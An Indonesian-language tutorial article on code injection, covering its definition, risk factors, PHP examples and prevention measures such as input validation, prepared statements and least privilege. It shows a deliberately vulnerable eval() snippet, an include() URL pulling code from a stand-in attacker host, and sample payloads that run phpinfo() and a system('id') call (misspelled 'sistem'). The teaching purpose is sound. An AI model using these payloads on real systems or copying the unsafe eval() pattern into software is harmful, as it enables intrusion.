Code Injection: Pengertian, Contoh, dan Pencegahan

Code Injection adalah istilah umum untuk jenis serangan yang terdiri dari penyuntikan kode yang kemudian diinterpretasikan/dieksekusi oleh aplikasi.

Serangan ini merupakan salah satu serangan yang sering digunakan dalam dunia siber.

Serangan ini memanfaatkan celah keamanan dalam aplikasi atau sistem untuk menyisipkan dan menjalankan kode yang tidak sah.

Dalam artikel ini, kita akan menjelaskan secara mendalam apa itu Code Injection, cara kerjanya, dan memberikan contoh-contoh nyata.

Pengertian Code Injection

Code Injection

Code Injection adalah serangan siber yang memungkinkan penyerang untuk menyisipkan dan menjalankan kode berbahaya dalam aplikasi atau sistem yang rentan.

Penyerang biasanya mencoba memanfaatkan celah keamanan dalam input yang diterima oleh aplikasi, seperti formulir web atau parameter URL.

Jenis serangan ini biasanya terjadi karena kurangnya validasi data input/output yang tepat, misalnya:

  • Memperbolehkn karakter (standard regular expressions classes atau kustom)
  • format data
  • jumlah data yang diharapkan

Code Injection berbeda dengan Command Injection karena penyerang hanya dibatasi oleh fungsionalitas bahasa yang disuntikkan itu sendiri. Jika penyerang mampu memasukkan kode PHP ke dalam aplikasi dan mengeksekusinya, mereka hanya dibatasi oleh kemampuan PHP.

Command Injection terdiri dari memanfaatkan kode yang ada untuk menjalankan perintah, biasanya dalam konteks shell.

Faktor Resiko

  • Jenis kerentanan ini dapat berkisar dari sangat sulit ditemukan, hingga mudah ditemukan
  • Jika terdeteksi, biasanya cukup sulit untuk hacker eksploitasi, tergantung skenario
  • Jika hacker berhasil mengeksploitasi, dampaknya dapat mencakup hilangnya kerahasiaan, hilangnya integritas, hilangnya ketersediaan, dan/atau hilangnya akuntabilitas

Contoh Code Injection

Berikut adalah beberapa contoh serangan.

Contoh #1

Jika aplikasi meneruskan parameter yang dikirim melalui permintaan GET ke fungsi PHP include() tanpa validasi input, hacker mungkin mencoba mengeksekusi kode selain yang direncanakan oleh developer.

URL di bawah meneruskan nama halaman ke fungsi include(). http://example.com/index.php?page=contact.php

File “evilcode.php” mungkin berisi, misalnya, fungsi phpinfo() yang berguna untuk memperoleh informasi tentang konfigurasi environment tempat layanan web dijalankan. Penyerang dapat meminta aplikasi untuk mengeksekusi kode PHP mereka menggunakan permintaan berikut: http://example.com/?page=http://evilsite.com/evilcode.php.

Contoh #2

Ketika developer menggunakan fungsi PHP eval() dan meneruskan data tidak tepercaya yang dapat diubah oleh penyerang, injeksi kode dapat dilakukan.

Contoh di bawah ini menunjukkan cara berbahaya menggunakan fungsi eval():

$foo = "Foobar";
$x = $_GET['arg'];
eval("$foo = $x;");

Karena tidak ada validasi input, kode di atas rentan terhadap serangan Code Injection.

Bebagai contoh: /index.php?arg=1; phpinfo()

Saat mengeksploitasi bug seperti ini, penyerang mungkin ingin menjalankan perintah sistem. Dalam hal ini, bug Code Injection juga dapat digunakan untuk Command Injection, misalnya: /index.php?arg=1; sistem('id')

Contoh Serangan yang Memanfaatkan Bug Sejenis Code Injection

  1. SQL Injection: Seorang penyerang menyisipkan perintah SQL berbahaya dalam kotak pencarian situs web e-commerce, yang mengizinkan mereka untuk mengakses data pelanggan dan mengubah harga produk.
  2. Cross-Site Scripting (XSS): Seorang penyerang menyisipkan skrip berbahaya dalam komentar pada situs web sosial. Ketika pengguna lain melihat komentar tersebut, skrip dijalankan, dan informasi pribadi mereka dapat dicuri.
  3. Command Injection: Seorang penyerang memanfaatkan input yang rentan dalam aplikasi manajemen server untuk menjalankan perintah sistem operasi yang merusak, seperti menghapus file penting.

Cara Pencegahan Code Injection

Pencegahan serangan Code Injection merupakan hal krusial dalam menjaga keamanan aplikasi dan sistem. Berikut adalah beberapa langkah pencegahan yang dapat diambil oleh para profesional keamanan siber:

  1. Validasi Input: Pastikan semua input yang diterima oleh aplikasi divalidasi dengan cermat. Validasi ini harus memeriksa tipe data yang diharapkan dan menolak input yang mencurigakan, seperti karakter khusus atau kode berbahaya.
  2. Penggunaan Prepared Statements: Saat berinteraksi dengan database, gunakan prepared statements atau parameterized queries. Hal ini akan mencegah penyerang memasukkan perintah SQL berbahaya ke dalam input.
  3. Escape Input: Jika Anda tidak dapat menggunakan prepared statements, pastikan input yang diterima di-escape sebelum digunakan dalam perintah SQL. Ini akan menghindari interpretasi kode dalam input sebagai perintah SQL.
  4. WAF (Web Application Firewall): Gunakan firewall aplikasi web yang dapat mendeteksi dan memblokir serangan Code Injection. WAF dapat mengidentifikasi pola serangan dan melindungi aplikasi dari serangan berbahaya.
  5. Prinsip Least Privilege: Terapkan prinsip hak akses terkecil (Least Privilege) untuk aplikasi dan pengguna. Berikan akses hanya pada hal yang benar-benar diperlukan, sehingga serangan Code Injection memiliki dampak yang lebih terbatas.
  6. Penetration Testing: Lakukan uji penetrasi secara berkala untuk mengidentifikasi kerentanan Code Injection dalam aplikasi Anda. Ini akan membantu Anda mengidentifikasi masalah sebelum penyerang melakukannya.
  7. Logging dan Monitoring: Aktifkan sistem logging dan monitoring untuk mendeteksi aktivitas mencurigakan. Dengan pemantauan yang tepat, serangan ini dapat terdeteksi lebih awal.

Penutup

Serangan Code Injection merupakan ancaman serius dalam dunia siber, dan pemahaman yang mendalam tentang konsep ini sangat penting bagi para profesional keamanan siber. Dengan memahami cara kerja dan melindungi aplikasi dan sistem dari serangan semacam itu, kita dapat menjaga keamanan data dan infrastruktur siber kita.

Tekan ESC untuk keluar